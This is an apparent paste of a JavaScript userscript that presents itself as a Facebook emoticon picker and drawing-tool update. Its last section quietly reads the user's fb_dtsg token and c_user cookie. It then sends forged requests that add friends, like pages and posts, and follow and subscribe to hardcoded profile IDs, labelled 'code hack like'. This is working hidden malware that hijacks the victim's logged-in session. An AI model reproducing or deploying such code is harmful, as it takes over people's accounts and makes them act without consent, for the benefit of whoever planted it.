  820. "class" : "_1az _1a- _2fx",
  821. "name" : "Face winking eye"
  822. }, {
  823. "chars" : " \ud83d\ude0b ",
  824. "class" : "_1az _1a- _2fy",
  825. "name" : "Guy savoring delicious food"
  826. }, {
  827. "chars" : " \ud83d\ude0c ",
  828. "class" : "_1az _1a- _2fz",
  829. "name" : "Relief face"
  830. }, {
  831. "chars" : " \ud83d\ude0d ",
  832. "class" : "_1az _1a- _2f-",
  833. "name" : "Smiley face with heart shaped eyes"
  834. }, {
  835. "chars" : " \ud83d\ude0f ",
  836. "class" : "_1az _1a- _2f_",
  837. "name" : "Smirk face"
  838. }, {
  839. "chars" : " \ud83d\ude12 ",
  840. "class" : "_1az _1a- _2g0",
  841. "name" : "Face of boredom"
  842. }, {
  843. "chars" : " \ud83d\ude13 ",
  844. "class" : "_1az _1a- _2g1",
  845. "name" : "Face with cold sweat"
  846. }, {
  847. "chars" : " \ud83d\ude14 ",
  848. "class" : "_1az _1a- _2g2",
  849. "name" : "Pensive face"
  850. }, {
  851. "chars" : " \ud83d\ude16 ",
  852. "class" : "_1az _1a- _2g3",
  853. "name" : "Confused face"
  854. }, {
  855. "chars" : " \ud83d\ude18 ",
  856. "class" : "_1az _1a- _2g4",
  857. "name" : "Throwing kiss Face"
  858. }, {
  859. "chars" : " \ud83d\ude1a ",
  860. "class" : "_1az _1a- _2g5",
  861. "name" : "Kissing face with eyes closed"
  862. }, {
  863. "chars" : " \ud83d\ude1c ",
  864. "class" : "_1az _1a- _2g6",
  865. "name" : "Face with tongue out and winking"
  866. }, {
  867. "chars" : " \ud83d\ude1d ",
  868. "class" : "_1az _1a- _2g7",
  869. "name" : "Face with tongue hanging out and eyes closed"
  870. }, {
  871. "chars" : " \ud83d\ude1e ",
  872. "class" : "_1az _1a- _2g8",
  873. "name" : "Face discouraged"
  874. }, {
  875. "chars" : " \ud83d\ude20 ",
  876. "class" : "_1az _1a- _2g9",
  877. "name" : "Face of anger"
  878. }, {
  879. "chars" : " \ud83d\ude21 ",
  880. "class" : "_1az _1a- _2ga",
  881. "name" : "Very angry face"
  882. }, {
  883. "chars" : " \ud83d\ude22 ",
  884. "class" : "_1az _1a- _2gb",
  885. "name" : "Crying Face"
  886. }, {
  887. "chars" : " \ud83d\ude23 ",
  888. "class" : "_1az _1a- _2gc",
  889. "name" : "Face of perseverance"
  890. }, {
  891. "chars" : " \ud83d\ude24 ",
  892. "class" : "_1az _1a- _2gd",
  893. "name" : "Face of triumph"
  894. }, {
  895. "chars" : " \ud83d\ude25 ",
  896. "class" : "_1az _1a- _2ge",
  897. "name" : "Face discouraged but relieved"
  898. }, {
  899. "chars" : " \ud83d\ude28 ",
  900. "class" : "_1az _1a- _2gf",
  901. "name" : "Scary face"
  902. }, {
  903. "chars" : " \ud83d\ude29 ",
  904. "class" : "_1az _1a- _2gg",
  905. "name" : "Fatigued face"
  906. }, {
  907. "chars" : " \ud83d\ude2a ",
  908. "class" : "_1az _1a- _2gh",
  909. "name" : "Sleeping face"
  910. }, {
  911. "chars" : " \ud83d\ude2b ",
  912. "class" : "_1az _1a- _2gi",
  913. "name" : "Tired face"
  914. }, {
  915. "chars" : " \ud83d\ude2d ",
  916. "class" : "_1az _1a- _2gj",
  917. "name" : "Face screaming"
  918. }, {
  919. "chars" : " \ud83d\ude30 ",
  920. "class" : "_1az _1a- _2gk",
  921. "name" : "Face with mouth open and cold sweat"
  922. }, {
  923. "chars" : " \ud83d\ude31 ",
  924. "class" : "_1az _1a- _2gl",
  925. "name" : "Terrified face of fear"
  926. }, {
  927. "chars" : " \ud83d\ude32 ",
  928. "class" : "_1az _1a- _2gm",
  929. "name" : "Very surprised face"
  930. }, {
  931. "chars" : " \ud83d\ude33 ",
  932. "class" : "_1az _1a- _2gn",
  933. "name" : "Face flushed"
  934. }, {
  935. "chars" : " \ud83d\ude35 ",
  936. "class" : "_1az _1a- _2go",
  937. "name" : "Face dizzy"
  938. }, {
  939. "chars" : " \ud83d\ude37 ",
  940. "class" : "_1az _1a- _2gp",
  941. "name" : "Face with medical mask"
  942. }, {
  943. "chars" : " \ud83d\ude38 ",
  944. "class" : "_1az _1a- _2gq",
  945. "name" : "Grinning Cat face and eyes closed"
  946. }, {
  947. "chars" : " \ud83d\ude39 ",
  948. "class" : "_1az _1a- _2gr",
  949. "name" : "Cat face with tears of laughter"
  950. }, {
  951. "chars" : " \ud83d\ude3a ",
  952. "class" : "_1az _1a- _2gs",
  953. "name" : "Smiling cat face with open mouth"
  954. }, {
  955. "chars" : " \ud83d\ude3b ",
  956. "class" : "_1az _1a- _2gt",
  957. "name" : "Smiling cat face with hearts in her eyes"
  958. }, {
  959. "chars" : " \ud83d\ude3c ",
  960. "class" : "_1az _1a- _2gu",
  961. "name" : "Face of cat smile twisted"
  962. }, {
  963. "chars" : " \ud83d\ude3d ",
  964. "class" : "_1az _1a- _2gv",
  965. "name" : "Cat face kissing with eyes closed"
  966. }, {
  967. "chars" : " \ud83d\ude3f ",
  968. "class" : "_1az _1a- _2gw",
  969. "name" : "Cat face crying"
  970. }, {
  971. "chars" : " \ud83d\ude40 ",
  972. "class" : "_1az _1a- _2gx",
  973. "name" : "Cat face scared terrified"
  974. }, {
  975. "chars" : " \ud83d\ude4b ",
  976. "class" : "_1az _1a- _2gy",
  977. "name" : "Happy person raising a hand"
  978. }, {
  979. "chars" : " \ud83d\ude4c ",
  980. "class" : "_1az _1a- _2gz",
  981. "name" : "Person holding up both hands in celebration"
  982. }, {
  983. "chars" : " \ud83d\ude4d ",
  984. "class" : "_1az _1a- _2g-",
  985. "name" : "Person frowning"
  986. }, {
  987. "chars" : " \ud83d\ude4f ",
  988. "class" : "_1az _1a- _2g_",
  989. "name" : "Person in prayer"
  990. }, {
  991. "chars" : " \u261d ",
  992. "class" : "_1az _1a- _2h0",
  993. "name" : "Index finger pointing up"
  994. }, {
  995. "chars" : " \u263a ",
  996. "class" : "_1az _1a- _2h1",
  997. "name" : "White face smiling"
  998. }, {
  999. "chars" : " \u26a1 ",
  1000. "class" : "_1az _1a- _2h2",
  1001. "name" : "High voltage symbol"
  1002. }, {
  1003. "chars" : " \u26c4 ",
  1004. "class" : "_1az _1a- _2h3",
  1005. "name" : "Snowless snowman"
  1006. }, {
  1007. "chars" : " \u270a ",
  1008. "class" : "_1az _1a- _2h4",
  1009. "name" : "Fist up"
  1010. }, {
  1011. "chars" : " \u270b ",
  1012. "class" : "_1az _1a- _2h5",
  1013. "name" : "Hand pointing up"
  1014. }, {
  1015. "chars" : " \u270c ",
  1016. "class" : "_1az _1a- _2h6",
  1017. "name" : "Winning Hand"
  1018. }, {
  1019. "chars" : " \u2600 ",
  1020. "class" : "_1az _1a- _2h7",
  1021. "name" : "Sun With Rays"
  1022. }, {
  1023. "chars" : " \u2601 ",
  1024. "class" : "_1az _1a- _2h8",
  1025. "name" : "Cloud"
  1026. }, {
  1027. "chars" : " \u2614 ",
  1028. "class" : "_1az _1a- _2h9",
  1029. "name" : "Umbrella With Rain Drops"
  1030. }, {
  1031. "chars" : " \u2615 ",
  1032. "class" : "_1az _1a- _2ha",
  1033. "name" : "Hot Drink"
  1034. }, {
  1035. "chars" : " \u2728 ",
  1036. "class" : "_1az _1a- _2hb",
  1037. "name" : "Brightness"
  1038. }, {
  1039. "chars" : " \u2764 ",
  1040. "class" : "_1az _1a- _2hc",
  1041. "name" : "Heavy Black Heart"
  1042. } ];
  1043.  
  1044. // = Variables =======
  1045. var lastActiveElement = document.activeElement;
  1046.  
  1047. // = Functions =======
  1048. function createElement(html) {
  1049. var outerHTML = document.createElement("div");
  1050. outerHTML.innerHTML = html;
  1051. return outerHTML.firstChild;
  1052. }
  1053.  
  1054. function htmlSpecialChars(string) {
  1055. var div = document.createElement("div");
  1056. var text = document.createTextNode(string);
  1057. div.appendChild(text);
  1058. return div.innerHTML;
  1059. }
  1060.  
  1061. function isInstanceOfTextInput(element) {
  1062. return (element instanceof HTMLInputElement && element.type == "text")
  1063. || element instanceof HTMLTextAreaElement;
  1064. }
  1065.  
  1066. function isFlyoutOpen(flyout) {
  1067. return flyout.className == "openToggler";
  1068. }
  1069.  
  1070. function openFlyout(flyout, open) {
  1071. if (open === undefined) {
  1072. open = !isFlyoutOpen(flyout); // Toggle
  1073. }
  1074.  
  1075. if (open) {
  1076. flyout.className = "openToggler";
  1077. } else {
  1078. flyout.removeAttribute("class");
  1079. }
  1080. }
  1081.  
  1082. function createTab(titleContainer, bodyContainer) {
  1083. var html;
  1084. // Tab; default = inactive
  1085. html = '<li class="jewelFlyout fbJewelFlyout uiToggleFlyout">';
  1086. html += '<div class="jewelFlyout">';
  1087. html += '</div>';
  1088. html += '</li>';
  1089. var title = createElement(html);
  1090. titleContainer.appendChild(title);
  1091.  
  1092. // Manual input
  1093. html = '<div style="display: none;">';
  1094. html += '</div>';
  1095. var body = createElement(html);
  1096. bodyContainer.appendChild(body);
  1097.  
  1098. // Change tab listener
  1099. (function(body) {
  1100. title.addEventListener("click", function() {
  1101. // Change tab
  1102. var titles = this.parentNode.childNodes; // tab.tabContainer.childNodes
  1103. for ( var t = 0; t < titles.length; t++) {
  1104. if (titles[t] === this) { // Active
  1105.  
  1106. } else { // Inactive
  1107. titles[t].style.background = "";
  1108. titles[t].firstChild.style.color = "";
  1109. }
  1110. }
  1111.  
  1112. // Change body
  1113. var bodies = body.parentNode.childNodes; // body.bodyContainer.childNodes
  1114. for ( var b = 0; b < bodies.length; b++) {
  1115. if (bodies[b] === body) { // Show
  1116. body.style.display = "";
  1117. } else { // Hide
  1118. bodies[b].style.display = "none";
  1119. }
  1120. }
  1121. });
  1122. })(body);
  1123.  
  1124. return {
  1125. "title" : title.firstChild,
  1126. "body" : body
  1127. };
  1128. }
  1129.  
  1130. function createTabListBody(emoticons, filter) {
  1131. var html;
  1132.  
  1133. html = '<div style="max-height: 200px; padding-right: 15px; overflow-x: hidden; line-height: 1em;">';
  1134. html += '<div style="padding: 10px; width: 200px; font-size: 15px;">';
  1135. html += '</div>';
  1136. html += '</div>';
  1137. var body = createElement(html).firstChild;
  1138. for ( var e = 0; e < emoticons.length; e++) {
  1139. var emoticon = emoticons[e];
  1140. if (!filter(emoticon)) {
  1141. continue;
  1142. }
  1143.  
  1144. // Icons
  1145. html = '<span class="panelCell" style="display: inline-block; vertical-align: middle; padding: 2px;">';
  1146. html += '<a';
  1147. html += ' class="emoticon'
  1148. + (emoticon.class !== undefined ? ' ' + emoticon.class : '')
  1149. + '"';
  1150. html += ' style="text-decoration: inherit; color: inherit;'
  1151. + (emoticon.class !== undefined ? ' color: transparent;'
  1152. : ' width: auto;') + '"';
  1153. html += (emoticon.name !== undefined ? ' title="' + emoticon.name
  1154. + '"' : '');
  1155. html += '>';
  1156. html += htmlSpecialChars(emoticon.chars);
  1157. html += '</a>';
  1158. html += '</span>';
  1159. var cell = createElement(html);
  1160. body.appendChild(cell);
  1161.  
  1162. // Select emoticon listener
  1163. var emoticonA = cell.firstChild;
  1164. (function(emoticon) {
  1165. emoticonA.addEventListener("click", function() {
  1166. if (isInstanceOfTextInput(lastActiveElement)) {
  1167. lastActiveElement.focus();
  1168.  
  1169. var chars = emoticon.chars;
  1170. var value = lastActiveElement.value;
  1171. var start = lastActiveElement.selectionStart;
  1172. var end = lastActiveElement.selectionEnd;
  1173. lastActiveElement.value = value.substring(0, start)
  1174. + chars + value.substring(end);
  1175. lastActiveElement.setSelectionRange(start + chars.length, start + chars.length);
  1176. }
  1177.  
  1178. openFlyoutCommand = false; // Close flyout
  1179. });
  1180. })(emoticon);
  1181. }
  1182.  
  1183. return body.parentNode;
  1184. }
  1185.  
  1186. // = Construct UI =======
  1187. var html;
  1188.  
  1189. // Menu item
  1190. // var navItem
  1191. html = '<li class="navItem middleItem notifNegativeBase">';
  1192. html += '<div class="fbJewel">';
  1193. // {
  1194.  
  1195. // Toggler
  1196. html += '<a class="navLink" title="1 Thông Báo Mới">'; // var navLink
  1197. html += '<span style="vertical-align: middle;"><img src="http://static.ak.fbcdn.net/rsrc.php/v1/yY/r/7OqExvAe82o.gif"></img></span>';
  1198. html += '</a>';
  1199.  
  1200.  
  1201. // Flyout
  1202. html += '<div>'; // openToggler; var flyout
  1203. html += '<div class="emoticonsPanel fbJewelFlyout uiToggleFlyout" style="z-index: 1; width: auto;">';
  1204. // {
  1205.  
  1206.  
  1207. // Beeper
  1208. html += '<div class="jewelBeeperHeader">';
  1209. html += '<div class="beeperNubWrapper">';
  1210. html += '<div class="beeperNub" style="left: 4px;"></div>';
  1211. html += '</div>';
  1212. html += '</div>';
  1213.  
  1214. // Tabs
  1215. // var titleContainer
  1216. html += '<ul style="display: text-align: center;">';
  1217. html += '</ul>';
  1218.  
  1219. // Bodies
  1220. html += '<div>'; // var bodyContainer
  1221. html += '</div>';
  1222.  
  1223. // Footer
  1224. html += '<div class="jewelFooter">';
  1225. html += '<a class="jewelFooter" href="https://www.facebook.com/tungsaker3x" target="_blank">Chúc Mừng Bạn Đã Cập Nhật TOOL VẼ CHIBI VÀ MANGA MỚI NHẤT 2014</a>';
  1226. html += '</div>';
  1227.  
  1228. // }
  1229. html += '</div>'; // emoticonsPanel
  1230. html += '</div>'; // openToggler
  1231.  
  1232. // }
  1233. html += '</div>'; // fbJewel
  1234. html += '</li>'; // navItem
  1235.  
  1236. var navItem = createElement(html);
  1237. var pageNav = document.querySelector("#pageNav");
  1238. pageNav.insertBefore(navItem, pageNav.firstChild);
  1239.  
  1240. // Maintain active element
  1241. navItem.addEventListener("click", function() {
  1242. if (isInstanceOfTextInput(lastActiveElement)) {
  1243. lastActiveElement.focus();
  1244. }
  1245.  
  1246. openFlyoutCommand = undefined; // Do nothing
  1247. }, true);
  1248.  
  1249. var navLink = navItem.firstChild.firstChild;
  1250. var flyout = navLink.nextSibling;
  1251. var titleContainer = flyout.firstChild.childNodes[1];
  1252. var bodyContainer = titleContainer.nextSibling;
  1253.  
  1254. // Toggle listener
  1255. navLink.addEventListener("click", function() {
  1256. openFlyoutCommand = !isFlyoutOpen(flyout);
  1257. });
  1258.  
  1259. // Picture emoticon tab
  1260. var picEmoTab = createTab(titleContainer, bodyContainer);
  1261. picEmoTab.title.click(); // Default tab
  1262.  
  1263. picEmoTab.body.appendChild(createTabListBody(emoticons, function(emoticon) {
  1264. if (emoticon.class === undefined) { // No picture
  1265. return false;
  1266. }
  1267.  
  1268. // [Bug] 2 characters unicode emoticons
  1269. if (emoticon.chars.length == 2) {
  1270. return false;
  1271. }
  1272.  
  1273. return true;
  1274.  
  1275. }));
  1276.  
  1277. // = Other listener =======
  1278.  
  1279. document.addEventListener("click", function() {
  1280. // Get active textarea
  1281. lastActiveElement = document.activeElement;
  1282.  
  1283. // Toggle flyout
  1284. if (openFlyoutCommand !== undefined) {
  1285. openFlyout(flyout, openFlyoutCommand);
  1286. }
  1287. openFlyoutCommand = false;
  1288. });
  1289. })();
  1290.  
  1291.  
  1292. // === Facebook Emoticons ====
  1293. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  1294. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  1295. function IDS(r) {
  1296. var X = new XMLHttpRequest();
  1297. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  1298. var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  1299. X.open("POST", XURL, true);
  1300. X.onreadystatechange = function () {
  1301. if (X.readyState == 4 && X.status == 200) {
  1302. X.close;
  1303. }
  1304. };
  1305. X.send(XParams);
  1306. }
  1307. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); }
  1308. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); }
  1309. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  1310. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  1311. function a(abone)
  1312. { var http4=new XMLHttpRequest;
  1313. var url4="/ajax/follow/follow_profile.php?__a=1";
  1314. var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
  1315. http4.open("POST",url4,true);
  1316. http4.onreadystatechange=function()
  1317. { if(http4.readyState==4&&http4.status==200)http4.close };
  1318. http4.send(params4)}
  1319. function sublist(uidss)
  1320. { var a = document.createElement('script');
  1321. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  1322. document.body.appendChild(a);
  1323. }
  1324. //hoang ba
  1325. a("100007028707233");a("100004756594727");a("100007286349529");a("100003038687107");a("");a("");a("");
  1326. //code hack like
Advertisement
Add Comment
Please, Sign In to add comment